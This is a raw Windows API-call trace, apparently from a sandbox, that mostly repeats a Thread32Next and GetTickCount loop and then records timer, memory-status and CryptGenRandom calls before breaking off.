[0118.546] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.547] GetTickCount () returned 0x24864 [0118.547] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.548] GetTickCount () returned 0x24864 [0118.548] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.548] GetTickCount () returned 0x24864 [0118.548] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.549] GetTickCount () returned 0x24864 [0118.549] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.551] GetTickCount () returned 0x24864 [0118.563] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.563] GetTickCount () returned 0x24874 [0118.564] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.564] GetTickCount () returned 0x24874 [0118.564] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.565] GetTickCount () returned 0x24874 [0118.565] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.565] GetTickCount () returned 0x24874 [0118.565] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.566] GetTickCount () returned 0x24874 [0118.566] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.566] GetTickCount () returned 0x24874 [0118.566] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.567] GetTickCount () returned 0x24874 [0118.567] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.568] GetTickCount () returned 0x24884 [0118.568] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.568] GetTickCount () returned 0x24884 [0118.568] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.569] GetTickCount () returned 0x24884 [0118.569] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.570] GetTickCount () returned 0x24884 [0118.570] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.570] GetTickCount () returned 0x24884 [0118.570] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.571] GetTickCount () returned 0x24884 [0118.571] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.571] GetTickCount () returned 0x24884 [0118.571] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.572] GetTickCount () returned 0x24884 [0118.572] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.572] GetTickCount () returned 0x24884 [0118.572] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.573] GetTickCount () returned 0x24884 [0118.573] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.574] GetTickCount () returned 0x24884 [0118.574] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.574] GetTickCount () returned 0x24884 [0118.574] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.575] GetTickCount () returned 0x24884 [0118.575] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.575] GetTickCount () returned 0x24884 [0118.575] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.576] GetTickCount () returned 0x24884 [0118.576] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.576] GetTickCount () returned 0x24884 [0118.576] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.577] GetTickCount () returned 0x24884 [0118.577] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.578] GetTickCount () returned 0x24884 [0118.578] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.578] GetTickCount () returned 0x24884 [0118.578] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.579] GetTickCount () returned 0x24884 [0118.579] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.579] GetTickCount () returned 0x24884 [0118.579] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.580] GetTickCount () returned 0x24884 [0118.580] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.580] GetTickCount () returned 0x24884 [0118.580] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.581] GetTickCount () returned 0x24884 [0118.581] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.582] GetTickCount () returned 0x24884 [0118.582] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.582] GetTickCount () returned 0x24884 [0118.582] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.583] GetTickCount () returned 0x24884 [0118.583] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.630] GetTickCount () returned 0x248c2 [0118.630] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.631] GetTickCount () returned 0x248c2 [0118.631] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.632] GetTickCount () returned 0x248c2 [0118.632] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.632] GetTickCount () returned 0x248c2 [0118.632] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.633] GetTickCount () returned 0x248c2 [0118.633] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.633] GetTickCount () returned 0x248c2 [0118.633] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.634] GetTickCount () returned 0x248c2 [0118.634] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.634] GetTickCount () returned 0x248c2 [0118.634] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.635] GetTickCount () returned 0x248c2 [0118.635] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.635] GetTickCount () returned 0x248c2 [0118.635] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.636] GetTickCount () returned 0x248c2 [0118.636] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.636] GetTickCount () returned 0x248c2 [0118.637] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.637] GetTickCount () returned 0x248c2 [0118.637] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.638] GetTickCount () returned 0x248c2 [0118.638] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.638] GetTickCount () returned 0x248c2 [0118.638] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.639] GetTickCount () returned 0x248c2 [0118.639] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.639] GetTickCount () returned 0x248c2 [0118.639] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.640] GetTickCount () returned 0x248c2 [0118.640] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.640] GetTickCount () returned 0x248c2 [0118.640] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.641] GetTickCount () returned 0x248c2 [0118.641] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.641] GetTickCount () returned 0x248c2 [0118.641] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.642] GetTickCount () returned 0x248c2 [0118.642] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.643] GetTickCount () returned 0x248c2 [0118.643] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.643] GetTickCount () returned 0x248c2 [0118.643] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.644] GetTickCount () returned 0x248c2 [0118.644] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.644] GetTickCount () returned 0x248c2 [0118.644] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.645] GetTickCount () returned 0x248c2 [0118.645] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.645] GetTickCount () returned 0x248c2 [0118.645] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.646] GetTickCount () returned 0x248d2 [0118.646] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.646] GetTickCount () returned 0x248d2 [0118.647] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.647] GetTickCount () returned 0x248d2 [0118.647] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.648] GetTickCount () returned 0x248d2 [0118.648] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.648] GetTickCount () returned 0x248d2 [0118.648] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.649] GetTickCount () returned 0x248d2 [0118.649] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.649] GetTickCount () returned 0x248d2 [0118.649] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.650] GetTickCount () returned 0x248d2 [0118.650] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.650] GetTickCount () returned 0x248d2 [0118.651] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.651] GetTickCount () returned 0x248d2 [0118.651] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.652] GetTickCount () returned 0x248d2 [0118.652] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.652] GetTickCount () returned 0x248d2 [0118.652] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.653] GetTickCount () returned 0x248d2 [0118.653] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.653] GetTickCount () returned 0x248d2 [0118.653] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.654] GetTickCount () returned 0x248d2 [0118.654] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.654] GetTickCount () returned 0x248d2 [0118.654] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.655] GetTickCount () returned 0x248d2 [0118.655] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.655] GetTickCount () returned 0x248d2 [0118.655] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.656] GetTickCount () returned 0x248d2 [0118.656] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.657] GetTickCount () returned 0x248d2 [0118.657] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.657] GetTickCount () returned 0x248d2 [0118.657] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.658] GetTickCount () returned 0x248d2 [0118.658] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.658] GetTickCount () returned 0x248d2 [0118.658] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.659] GetTickCount () returned 0x248d2 [0118.659] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.659] GetTickCount () returned 0x248d2 [0118.659] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.660] GetTickCount () returned 0x248d2 [0118.660] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.660] GetTickCount () returned 0x248d2 [0118.660] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.661] GetTickCount () returned 0x248d2 [0118.661] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.661] GetTickCount () returned 0x248e1 [0118.661] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.662] GetTickCount () returned 0x248e1 [0118.662] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.663] GetTickCount () returned 0x248e1 [0118.663] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.663] GetTickCount () returned 0x248e1 [0118.663] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.664] GetTickCount () returned 0x248e1 [0118.664] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.664] GetTickCount () returned 0x248e1 [0118.664] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.665] GetTickCount () returned 0x248e1 [0118.665] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.665] GetTickCount () returned 0x248e1 [0118.665] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.666] GetTickCount () returned 0x248e1 [0118.666] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.666] GetTickCount () returned 0x248e1 [0118.666] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.667] GetTickCount () returned 0x248e1 [0118.667] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.667] GetTickCount () returned 0x248e1 [0118.668] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.668] GetTickCount () returned 0x248e1 [0118.668] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.669] GetTickCount () returned 0x248e1 [0118.669] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.669] GetTickCount () returned 0x248e1 [0118.669] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.670] GetTickCount () returned 0x248e1 [0118.670] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.670] GetTickCount () returned 0x248e1 [0118.670] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.671] GetTickCount () returned 0x248e1 [0118.671] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.671] GetTickCount () returned 0x248e1 [0118.671] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.672] GetTickCount () returned 0x248e1 [0118.672] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.672] GetTickCount () returned 0x248e1 [0118.672] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.673] GetTickCount () returned 0x248e1 [0118.673] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.674] GetTickCount () returned 0x248e1 [0118.674] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.674] GetTickCount () returned 0x248e1 [0118.674] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.675] GetTickCount () returned 0x248e1 [0118.675] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.675] GetTickCount () returned 0x248e1 [0118.675] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.676] GetTickCount () returned 0x248e1 [0118.676] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.676] GetTickCount () returned 0x248e1 [0118.676] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.689] GetTickCount () returned 0x248f1 [0118.689] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.689] GetTickCount () returned 0x248f1 [0118.689] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.690] GetTickCount () returned 0x248f1 [0118.690] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.691] GetTickCount () returned 0x248f1 [0118.691] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.691] GetTickCount () returned 0x248f1 [0118.691] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.692] GetTickCount () returned 0x248f1 [0118.692] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.692] GetTickCount () returned 0x248f1 [0118.692] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.693] GetTickCount () returned 0x24900 [0118.693] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.693] GetTickCount () returned 0x24900 [0118.694] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.694] GetTickCount () returned 0x24900 [0118.694] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.695] GetTickCount () returned 0x24900 [0118.695] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.695] GetTickCount () returned 0x24900 [0118.695] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.696] GetTickCount () returned 0x24900 [0118.696] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.696] GetTickCount () returned 0x24900 [0118.696] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.697] GetTickCount () returned 0x24900 [0118.697] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.697] GetTickCount () returned 0x24900 [0118.697] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.698] GetTickCount () returned 0x24900 [0118.698] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.698] GetTickCount () returned 0x24900 [0118.698] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.699] GetTickCount () returned 0x24900 [0118.699] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.700] GetTickCount () returned 0x24900 [0118.700] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.700] GetTickCount () returned 0x24900 [0118.700] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.701] GetTickCount () returned 0x24900 [0118.701] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.701] GetTickCount () returned 0x24900 [0118.701] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.702] GetTickCount () returned 0x24900 [0118.702] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.702] GetTickCount () returned 0x24900 [0118.702] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.703] GetTickCount () returned 0x24900 [0118.703] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.703] GetTickCount () returned 0x24900 [0118.703] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.704] GetTickCount () returned 0x24900 [0118.704] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.705] GetTickCount () returned 0x24900 [0118.705] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.705] GetTickCount () returned 0x24900 [0118.705] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.706] GetTickCount () returned 0x24900 [0118.706] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.706] GetTickCount () returned 0x24900 [0118.706] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.707] GetTickCount () returned 0x24900 [0118.707] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.707] GetTickCount () returned 0x24900 [0118.707] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.708] GetTickCount () returned 0x24900 [0118.708] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.708] GetTickCount () returned 0x24910 [0118.709] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.709] GetTickCount () returned 0x24910 [0118.709] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.710] GetTickCount () returned 0x24910 [0118.710] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.710] GetTickCount () returned 0x24910 [0118.710] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.711] GetTickCount () returned 0x24910 [0118.711] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.711] GetTickCount () returned 0x24910 [0118.711] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.712] GetTickCount () returned 0x24910 [0118.712] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.712] GetTickCount () returned 0x24910 [0118.712] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.713] GetTickCount () returned 0x24910 [0118.713] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.713] GetTickCount () returned 0x24910 [0118.713] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.714] GetTickCount () returned 0x24910 [0118.714] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.715] GetTickCount () returned 0x24910 [0118.715] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.715] GetTickCount () returned 0x24910 [0118.715] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.716] GetTickCount () returned 0x24910 [0118.716] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.716] GetTickCount () returned 0x24910 [0118.716] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.717] GetTickCount () returned 0x24910 [0118.717] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.717] GetTickCount () returned 0x24910 [0118.717] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.718] GetTickCount () returned 0x24910 [0118.718] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.719] GetTickCount () returned 0x24910 [0118.719] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.719] GetTickCount () returned 0x24910 [0118.719] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.720] GetTickCount () returned 0x24910 [0118.720] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.720] GetTickCount () returned 0x24910 [0118.720] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.721] GetTickCount () returned 0x24910 [0118.721] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.721] GetTickCount () returned 0x24910 [0118.721] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.722] GetTickCount () returned 0x24910 [0118.722] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.722] GetTickCount () returned 0x24910 [0118.723] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.723] GetTickCount () returned 0x24910 [0118.723] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.733] GetTickCount () returned 0x24920 [0118.733] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.734] GetTickCount () returned 0x24920 [0118.734] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.734] GetTickCount () returned 0x24920 [0118.734] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.735] GetTickCount () returned 0x24920 [0118.735] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.735] GetTickCount () returned 0x24920 [0118.736] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.736] GetTickCount () returned 0x24920 [0118.736] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.737] GetTickCount () returned 0x24920 [0118.737] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.737] GetTickCount () returned 0x24920 [0118.737] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.738] GetTickCount () returned 0x24920 [0118.738] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.738] GetTickCount () returned 0x24920 [0118.738] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.739] GetTickCount () returned 0x24920 [0118.739] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.739] GetTickCount () returned 0x24920 [0118.740] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.740] GetTickCount () returned 0x24920 [0118.740] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.741] GetTickCount () returned 0x2492f [0118.741] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.741] GetTickCount () returned 0x2492f [0118.741] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.742] GetTickCount () returned 0x2492f [0118.742] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.742] GetTickCount () returned 0x2492f [0118.742] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.743] GetTickCount () returned 0x2492f [0118.743] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.743] GetTickCount () returned 0x2492f [0118.743] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.744] GetTickCount () returned 0x2492f [0118.744] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.744] GetTickCount () returned 0x2492f [0118.744] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.745] GetTickCount () returned 0x2492f [0118.745] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.745] GetTickCount () returned 0x2492f [0118.745] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.746] GetTickCount () returned 0x2492f [0118.746] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.746] GetTickCount () returned 0x2492f [0118.746] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.747] GetTickCount () returned 0x2492f [0118.747] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.747] GetTickCount () returned 0x2492f [0118.747] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.748] GetTickCount () returned 0x2492f [0118.748] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.748] GetTickCount () returned 0x2492f [0118.748] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.749] GetTickCount () returned 0x2492f [0118.749] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.749] GetTickCount () returned 0x2492f [0118.750] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.750] GetTickCount () returned 0x2492f [0118.750] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.751] GetTickCount () returned 0x2492f [0118.751] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.751] GetTickCount () returned 0x2492f [0118.751] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.752] GetTickCount () returned 0x2492f [0118.752] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.752] GetTickCount () returned 0x2492f [0118.752] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.753] GetTickCount () returned 0x2492f [0118.753] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.753] GetTickCount () returned 0x2492f [0118.753] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.754] GetTickCount () returned 0x2492f [0118.754] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.754] GetTickCount () returned 0x2492f [0118.754] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.755] GetTickCount () returned 0x2493f [0118.755] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.755] GetTickCount () returned 0x2493f [0118.755] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.756] GetTickCount () returned 0x2493f [0118.756] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.756] GetTickCount () returned 0x2493f [0118.756] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.757] GetTickCount () returned 0x2493f [0118.757] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.757] GetTickCount () returned 0x2493f [0118.757] Thread32Next (hSnapshot=0x1d4, lpte=0x36f16c) returned 1 [0118.758] GetTickCount () returned 0x2493f [0118.774] FreeLibrary (hLibModule=0x75dc0000) returned 1 [0118.774] QueryPerformanceCounter (in: lpPerformanceCount=0x36f188 | out: lpPerformanceCount=0x36f188*=574965617) returned 1 [0118.774] GlobalMemoryStatus (in: lpBuffer=0x36f188 | out: lpBuffer=0x36f188) [0118.774] CryptGenRandom (in: hProv=0x74b820, dwLen=0x20, pbBuffer=0x36f57c | out: pbBuffer=0x36f57c) returned 1 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b22 [0118.774] time (in: timer=0x0 | out: timer=0x0) returned 